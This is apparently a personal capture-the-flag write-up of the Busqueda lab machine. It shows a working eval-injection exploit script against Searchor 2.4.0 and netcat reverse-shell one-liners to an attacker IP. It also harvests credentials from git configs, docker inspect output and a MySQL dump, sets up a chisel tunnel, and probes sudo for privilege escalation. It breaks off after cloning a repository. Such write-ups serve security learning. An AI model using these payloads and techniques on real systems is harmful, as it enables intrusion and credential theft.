Busqueda#
Enum#
nmap -sC -sV 10.10.11.208 -oN scans/nmap.initial
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 09:30 IST
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.024s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.05 seconds
dirsearch -r -u http://searcher.htb
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/blnkn/.dirsearch/reports/searcher.htb/_23-05-01_09-36-48.txt
Error Log: /home/blnkn/.dirsearch/logs/errors-23-05-01_09-36-48.log
Target: http://searcher.htb/
[09:36:48] Starting:
[09:37:24] 405 - 153B - /search
[09:37:24] 403 - 277B - /server-status/ (Added to queue)
[09:37:24] 403 - 277B - /server-status
[09:37:31] Starting: server-status/
[09:37:31] 404 - 207B - /server-status/%2e%2e//google.com
Task Completed
curl -I -X POST http://searcher.htb/search
HTTP/1.1 200 OK
Date: Mon, 01 May 2023 08:49:00 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13534
Vary: Accept-Encoding
Powered by Flask and Searchor 2.4.0
https://github.com/ArjunSharda/Searchor
PR
git clone https://github.com/ArjunSharda/Searchor.git
Building the docker container to start experimenting with the library
>>> from searchor import Engine
>>> engine="Youtube"
>>> query="hi"
>>> f"Engine.{engine}.search('{query}')"
"Engine.Youtube.search('hi')"
>>> eval(f"Engine.{engine}.search('{query}')")
'https://www.youtube.com/results?search_query=hi'
>>> query="'),dir(),print('"
>>> f"Engine.{engine}.search('{query}')"
"Engine.Youtube.search(''),dir(),print('')"
>>> eval(f"Engine.{engine}.search('{query}')")
('https://www.youtube.com/results?search_query=', ['Engine', '__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'engine', 'query'], None)
The older version didn’t have the docker container, but no big deal, lets just make a virtual environment, and install the tool
git checkout b5e67ec
python3 -m venv venv
source venv/bin/activate
pip install .
We know the eval is beeing called whan using the cli like this:
searchor search Youtube 'hamsters'
https://www.youtube.com/results?search_query=hamsters
Playing around to get command execution
>>> engine="Youtube"
>>> open=False
>>> copy=False
>>> query="'),dir(),Engine.Youtube.search('"
>>> f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
"Engine.Youtube.search(''),dir(),Engine.Youtube.search('', copy_url=False, open_web=False)"
>>> eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")
('https://www.youtube.com/results?search_query=', ['Engine', '__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'copy', 'engine', 'open', 'open_web', 'query'], 'https://www.youtube.com/results?search_query=')
So if we do that from the cli that should work too
searchor search Youtube "'),dir(),Engine.Youtube.search('"
('https://www.youtube.com/results?search_query=', ['copy', 'engine', 'open', 'query'], 'https://www.youtube.com/results?search_query=')
And it does, so assuming that the webapp calls the that same function in the main somehow, it should give us RCE this way
curl -X POST \
http://searcher.htb/search \
-d 'engine=Youtube&query=%27%29%2Cdir%28%29%2CEngine.Youtube.search%28%27'
('https://www.youtube.com/results?search_query=', ['copy', 'engine', 'open', 'query'], 'https://www.youtube.com/results?search_query=')
eval, is a bit inconvenient, as we can’t really separate our statements with semicolons,
So I ended up finding a stack overflow post suggesting to call os.system to do a netcat reverse shell
And the nc shell itself didn’t work, but I could start playing with that:
'),__import__('os').system('nc 10.10.14.39 4242 -e /bin/sh'),Engine.Youtube.search('
'),__import__('os').system('ping -c3 10.10.14.39'),Engine.Youtube.search('
'),__import__('os').system('cat /etc/passwd'),Engine.Youtube.search('
'),__import__('os').system('pwd'),Engine.Youtube.search('
Let’s make a quick exploit script
import sys
import requests
from urllib.parse import quote, urlencode, quote_plus
cmd = sys.argv[1]
url = "http://searcher.htb/search"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*"
}
payload = f"'),__import__('os').system('{cmd}'),Engine.Youtube.search('"
encoded = quote(payload, safe="")
data = f"engine=Youtube&query={encoded}"
res = requests.post(url, headers=headers, data=data)
print(res.status_code)
print(res.text)
python3 tool.py "id"
200
uid=1000(svc) gid=1000(svc) groups=1000(svc)
('https://www.youtube.com/results?search_query=', 0, 'https://www.youtube.com/results?search_query=')
python3 tool.py "pwd"
200
/var/www/app
('https://www.youtube.com/results?search_query=', 0, 'https://www.youtube.com/results?search_query=')
python3 tool.py "cat /etc/passwd"|grep sh$
root:x:0:0:root:/root:/bin/bash
svc:x:1000:1000:svc:/home/svc:/bin/bash
python3 tool.py "cat /home/svc/.ssh/id_rsa"
200
('https://www.youtube.com/results?search_query=', 256, 'https://www.youtube.com/results?search_query=')
After throwing a few revshels form revshells.com, finally got one to stick
python3 tool.py "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.39 4242 >/tmp/f"
Getting the user flag, and dropping an authorized keys in ~svc to get a propper shell
$ cd
$ pwd
/home/svc
$ wc -c user.txt
Just checking the app to see if our assumption was correct
svc@busqueda:/var/www/app$ vim app.py
And yea, it is a super simple flask app, that calls the cli of searchor through subprocess, triggering the vulnerable code in main
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='')
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url
else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!")
except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!")
if __name__ == '__main__':
app.run(debug=False)
Privesc#
svc@busqueda:~$ netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:43439 0.0.0.0:* LISTEN 0 35379 -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 1000 733356 245982/python3
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 0 38537 -
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN 0 38453 -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN 0 37321 -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN 1000 38681 1657/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 32241 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 36235 -
tcp6 0 0 :::22 :::* LISTEN 0 35309 -
tcp6 0 0 :::80 :::* LISTEN 0 36260 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 102 32240 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 32286 -
svc@busqueda:/var/www/app$ curl -I http://127.0.0.1:43439
HTTP/1.1 404 Not Found
Date: Mon, 01 May 2023 11:28:17 GMT
Content-Length: 19
Content-Type: text/plain; charset=utf-8
svc@busqueda:/var/www/app$ curl -I http://127.0.0.1:5000
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.6
Date: Mon, 01 May 2023 11:28:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13519
Connection: close
svc@busqueda:/var/www/app$ curl -I http://127.0.0.1:3000
HTTP/1.1 200 OK
Set-Cookie: i_like_gitea=1785a26bfd1cd4f4; Path=/; HttpOnly; SameSite=Lax
Date: Mon, 01 May 2023 11:28:27 GMT
So there’s a gitea instance, probably not pointing to the flask app though
svc@busqueda:/var/www/app$ git config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git log --oneline
5ede9ed (HEAD -> main, origin/main) Initial commit
Lets setup some socks5 proxy with chisel
local # ./chisel-arm server -p 4242 --socks5 --reverse
remote # ./chisel-amd client 10.10.14.39:4242 R:1080:socks
local # curl -x socks5://localhost:1080 -I http://127.0.0.1:3000
HTTP/1.1 200 OK
Set-Cookie: i_like_gitea=f5aafbf458b1e8de; Path=/; HttpOnly; SameSite=Lax
Date: Mon, 01 May 2023 11:37:38 GMT
Making a quick foxyproxy config, and we’re all set
In ~svc
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
Scanning through the proxy
proxychains -q nmap -sC -sV 127.0.0.1 -oN scans/nmap.initial
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 13:13 IST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 8.70% done; ETC: 13:14 (0:01:24 remaining)
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 17.70% done; ETC: 13:14 (0:01:14 remaining)
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 18.60% done; ETC: 13:14 (0:01:10 remaining)
Stats: 0:00:38 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 43.00% done; ETC: 13:14 (0:00:50 remaining)
Stats: 0:02:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:16 (0:00:35 remaining)
Nmap scan report for pop.localhost (127.0.0.1)
Host is up (0.089s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
222/tcp open ssh OpenSSH 9.0 (protocol 2.0)
| ssh-hostkey:
| 256 3a3815229d615cd6253f821303e21c2a (ECDSA)
|_ 256 35f562c5ab52e6869dbf8d5dd4c33c22 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: no-store, no-transform
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=cc08a6d5781742d8; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=gUad1fDfD2DAfqJy5dLrWulPXTo6MTY4Mjk0MzI4NzQ0MTIwNTE5Mw; Path=/; Expires=Tue, 02 May 2023 12:14:47 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 01 May 2023 12:14:47 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjo
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Cache-Control: no-store, no-transform
| Set-Cookie: i_like_gitea=353b1c460c5078a7; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=9oa6C-OkBKlRSF2WKX7sw4G17As6MTY4Mjk0MzMwMDI4OTU2NDg2Ng; Path=/; Expires=Tue, 02 May 2023 12:15:00 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 01 May 2023 12:15:00 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.31
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.31
| Thread ID: 35
| Capabilities flags: 65535
| Some Capabilities: ConnectWithDatabase, ODBCClient, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsCompression, LongColumnFlag, InteractiveClient, FoundRows, IgnoreSigpipes, Support41Auth, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, SwitchToSSLAfterHandshake, LongPassword, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: D9Fe\x14\x0EW\x19\x07\x132h *];\x1BK\x1F^
|_ Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.31_Auto_Generated_Server_Certificate
| Not valid before: 2023-01-04T18:43:43
|_Not valid after: 2033-01-01T18:43:43
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.6
| Date: Mon, 01 May 2023 12:14:47 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 13519
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <title>Searcher</title>
| <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/css/bootstrap.min.css">
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css">
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
| <style>
| @import url("https://fonts.googleapis.com/css2?family=Poppins:weight@100;200;300;400;500;600;700;800&display=swap");Searcher body{
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.93%I=7%D=5/1%Time=644FAD36%P=aarch64-unknown-linux-gnu
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nCache-Con
SF:trol:\x20no-store,\x20no-transform\r\nContent-Type:\x20text/html;\x20ch
SF:arset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=cc08a6d5781742d8;\x20Path=/;
SF:\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=gUad1fDfD2DAfqJy5
SF:dLrWulPXTo6MTY4Mjk0MzI4NzQ0MTIwNTE5Mw;\x20Path=/;\x20Expires=Tue,\x2002
SF:\x20May\x202023\x2012:14:47\x20GMT;\x20HttpOnly;\x20SameSite=Lax\r\nSet
SF:-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x20HttpOnly;\x20Sa
SF:meSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2001\x20
SF:May\x202023\x2012:14:47\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en-US\"\x20class=\"theme-auto\">\n<head>\n\t<meta\x20charset=\"utf-8
SF:\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20i
SF:nitial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20
SF:tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:application/jso
SF:n;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X2
SF:5hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0c
SF:DovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjo")%r(Help,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTP
SF:Options,1C2,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nCache-Cont
SF:rol:\x20no-store,\x20no-transform\r\nSet-Cookie:\x20i_like_gitea=353b1c
SF:460c5078a7;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_
SF:csrf=9oa6C-OkBKlRSF2WKX7sw4G17As6MTY4Mjk0MzMwMDI4OTU2NDg2Ng;\x20Path=/;
SF:\x20Expires=Tue,\x2002\x20May\x202023\x2012:15:00\x20GMT;\x20HttpOnly;\
SF:x20SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age
SF:=0;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nD
SF:ate:\x20Mon,\x2001\x20May\x202023\x2012:15:00\x20GMT\r\nContent-Length:
SF:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=5/1%Time=644FAD37%P=aarch64-unknown-linux-gnu
SF:%r(GetRequest,357F,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\
SF:.2\x20Python/3\.10\.6\r\nDate:\x20Mon,\x2001\x20May\x202023\x2012:14:47
SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng
SF:th:\x2013519\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x
SF:20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x
SF:20\x20\x20\x20<title>Searcher</title>\n\x20\x20\x20\x20<link\x20rel=\"s
SF:tylesheet\"\x20href=\"https://cdn\.jsdelivr\.net/npm/bootstrap@5\.0\.0-
SF:alpha1/dist/css/bootstrap\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"
SF:stylesheet\"\x20href=\"https://cdnjs\.cloudflare\.com/ajax/libs/font-aw
SF:esome/4\.7\.0/css/font-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20r
SF:el=\"stylesheet\"\x20href=\"https://cdnjs\.cloudflare\.com/ajax/libs/tw
SF:itter-bootstrap/4\.1\.3/css/bootstrap\.min\.css\">\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"https://cdnjs\.cloudflare\.com/ajax/
SF:libs/ionicons/2\.0\.1/css/ionicons\.min\.css\">\n\x20\x20\x20\x20<style
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\(\"https://fonts\.goo
SF:gleapis\.com/css2\?family=Poppins:weight@100;200;300;400;500;600;700;80
SF:0&display=swap\"\);Searcher\x20\x20\x20\x20\x20\x20\x20\x20body{\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20b")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20
SF:PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x2
SF:0\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"
SF:Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</he
SF:ad>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\
SF:x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20
SF:400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\
SF:x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p
SF:>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x
SF:20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\
SF:x20</body>\n</html>\n");
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 287.32 seconds
From pspy64
2023/05/01 12:23:07 CMD: UID=1000 PID=3343 | mysql -h 127.0.0.1 -u gitea -P 3306 -p gitea
2023/05/01 12:23:10 CMD: UID=1000 PID=3344 | ssh gitea@127.0.0.1 -p 222
2023/05/01 12:23:23 CMD: UID=1000 PID=3347 | ssh gitea@127.0.0.1 222
The password doesn’t seem to work though
proxychains -q mysql -h 127.0.0.1 -u gitea -P 3306 -p gitea 1 ⨯
Enter password:
ERROR 1045 (28000): Access denied for user 'gitea'@'172.19.0.1' (using password: YES)
svc@busqueda:/etc/ssh$ grep -v '^#\|^$' sshd_config
Include /etc/ssh/sshd_config.d/*.conf
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
PasswordAuthentication yes
Found this:
grep -ri cody ./*
./app/.git/config: url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 11 minutes 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 11 minutes 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db|jq .
{
"Hostname": "f84a6b33fb5a",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd": [
"mysqld"
],
"Image": "mysql:8",
"Volumes": {
"/var/lib/mysql": {}
},
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "db",
"com.docker.compose.version": "1.29.2"
}
}
The passwords we have so far:
cody:jh1usoih2bkjaspwe92
MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF
MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh
The non root
password gives us access to the db
svc@busqueda:~$ mysql -h 127.0.0.1 -u gitea -P 3306 -D gitea -p
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 25
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> pager less -SFX
PAGER set to 'less -SFX'
mysql> select * from user;
+----+---------------+---------------+-----------+----------------------------------+--------------------+--------------------------------+------------------------------------>
| id | lower_name | name | full_name | email | keep_email_private | email_notifications_preference | passwd >
+----+---------------+---------------+-----------+----------------------------------+--------------------+--------------------------------+------------------------------------>
| 1 | administrator | administrator | | administrator@gitea.searcher.htb | 0 | enabled | ba598d99c2202491d36ecf13d5c28b74e27>
| 2 | cody | cody | | cody@gitea.searcher.htb | 0 | enabled | b1f895e8efe070e184e5539bc5d93b362b2>
mysql> select name,passwd,salt from user;
+---------------+------------------------------------------------------------------------------------------------------+----------------------------------+
| name | passwd | salt |
+---------------+------------------------------------------------------------------------------------------------------+----------------------------------+
| administrator | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 | a378d3f64143b284f104c926b8b49dfb |
| cody | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e | d1db0a75a18e50de754be2aafcad5533 |
+---------------+------------------------------------------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
mysql>
Also, yoink, but sifting through the dump, I don’t think there’s really anything relevant, else than the salted password hashes?
proxychains -q mysqldump -h 127.0.0.1 -u gitea -P 3306 --all-databases -p|tee dump.sql
They are 50 bytes, pbkdf2 with 16bytes salts
printf 'ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2'|wc -c
100
printf 'a378d3f64143b284f104c926b8b49dfb'|wc -c
32
Not sure how I would go about cracking that, but it doesn’t matter because the passwords we found earlier works on the gitea webapp.
The administrator user corresponds to the mysql non root
password we found earlyer.
And cody corresponds to cody’s password.
Happy days, now as the administrator, we can see all source code of the scripts folder
Heck, we migh even be able to push a code change, let’s see if I can get a key in there:
Looks like I can
Or just using the password with the http endpoint will work too
proxychains git clone http://127.0.0.1:3000/administrator/scripts.git
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Cloning into 'scripts'...
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:3000 ... OK
Username for 'http://127.0.0.1:3000': administrator
Password for 'http://administrator@127.0.0.1:3000':
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
[proxychains] DLL init: proxychains-ng 4.16
Receiving objects: 100% (6/6), done.
[proxychains] DLL init: proxychains-ng 4.16
cd scripts
ls -la
total 28
drwxr-xr-x 3 blnkn blnkn 4096 May 1 16:15 .
drwxr-xr-x 124 blnkn blnkn 4096 May 1 16:16 ..
-rwxr-xr-x 1 blnkn blnkn 586 May 1 16:15 check-ports.py
-rwxr-xr-x 1 blnkn blnkn 857 May 1 16:15 full-checkup.sh
drwxr-xr-x 8 blnkn blnkn 4096 May 1 16:15 .git
